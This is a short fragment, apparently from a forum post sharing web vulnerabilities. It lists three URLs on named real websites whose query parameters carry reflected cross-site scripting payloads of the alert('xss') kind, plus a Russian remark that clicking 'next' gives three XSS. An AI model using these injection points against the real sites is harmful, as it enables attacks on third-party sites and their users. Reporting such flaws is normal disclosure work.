Separate names with a comma.
http://rusoft.net/index.php?w=1133178547&cat=0&razdel=<script>alert(/xss/)</script>
http://forum.utro.ru/newuser.php?Cat=<script>alert('xss')</script> жмём "далее" - три xss
http://www.scriptsearch.com/cgi-bin/report.cgi?999=delete&ID=%3Cscript%3Ealert('XSS')%3C/script%3E